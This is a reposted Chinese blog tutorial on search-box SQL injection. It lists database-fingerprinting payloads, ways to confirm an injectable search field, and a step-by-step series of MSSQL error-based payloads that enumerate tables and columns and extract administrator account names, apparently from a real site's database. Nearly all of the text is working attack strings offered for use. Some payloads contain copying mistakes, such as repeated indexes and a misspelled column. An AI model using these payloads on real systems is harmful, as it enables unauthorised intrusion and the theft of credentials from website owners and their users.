搜索型注入初步认知

写了一些判断数据库类型的语句 方便大家手工测试使用 不能说完全正确和准确 因为根据条件的不同语句的变化也有所不同
xxx.xxx?xx=x and exists(select * from all_tables)-- /* Oracle */
xxx.xxx?xx=x and exists(select * from syscat.tables)-- /* DB2 */
xxx.xxx?xx=x and exists(select * from pg_class)-- /* PostGreSql */
xxx.xxx?xx=x and ascii(mid(version(),1,1))>0 /* Mysql */
xxx.xxx?xx=x and exists(select * from msysaccessobjects)-- /* Access */
xxx.xxx?xx=x and (select count(*) from sysobjects)>0 /*SQL server*/
================================================================================
搜索型注入点寻找
搜索型注入分了两类 get提交和post提交 通俗点说就是搜索关键字 抓包 然后构造注入点
简单的判断搜索型注入漏洞存在不存在的办法是先输入 '
如果出错,说明90%存在这个漏洞。然后搜索%,如果正常返回,说明95%有洞了。
然后再搜索一个关键字,比如gothica吧,正常返回所有gothica相关的信息
再搜索gothica%'and 1=1 and '%'=' 和gothica%'and 1=2 and '%'=' 存在异同的话 就是100%有洞了
例如http://hi.baidu.com/hack69/blog/?search.asp?key=gothica%'and user>0 and '%'='
至于注入语句什么的 不用我写了吧
gothica%'and 1=1 and '%'='
gothica%'and 1=1#
当然 大家也别忘了 用户登录 后台登陆 查询 等页面的注入
================================================================================
%'and user>0 and '%'='

//得到当前数据库账号
%'and db_name()>0 and '%'='

//得到当前数据库名
%'and (select count(*) from admin)>0 and '%'='

//返回错误页面,看来是没有admin这个表了
%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0)>0 and '%'='

//得到当前数据库的第一个表名
%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in(''))>0 and '%'='

//得到当前数据库的第二个表名 依次类推 得到所有表名
得到表的列名
%'and (select top 1 col_name(object_id ('tbl_admin'),1) from tbl_admin)>0 and '%'='

//得到tbl_admin这个表里的第一个列名c_employee_id
%'and (select top 1 col_name(object_id ('tbl_admin'),2) from tbl_admin)>0 and '%'='

//得到tbl_admin这个表里的第二个列名c_employee_name
%'and (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'='

//得到tbl_admin这个表里的第三个列名c_password
%'and (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'='

//得到tbl_admin这个表里的第四个列名c_level 列名暴完毕了,嘿嘿,接着开始暴管理员账号密码了。
%'and (select top 1 c_employee_id from tbl_admin)>0 and '%'='

//得到第一个管理员的id为943hoon
%'and (select c_employee_id from(select top 1 * from(select top 2 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'='

//得到第二个管理员的id为champ
%'and (select c_employee_id from(select top 1 * from(select top 3 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'='

//得到第三个管理员的id为clark
%'and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'='

//得到第四个管理员的id为hskim
%'and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'='

//得到第五个管理员的id为jajeong
%'and (select top 1 c_c_password from tbl_admin)>0 and '%'='

================================================================================

书外话:文章转的。具体出处不详细。很容易能够看懂,不懂没关系,百度一下。

原文地址:https://www.cnblogs.com/zthua/p/2853292.html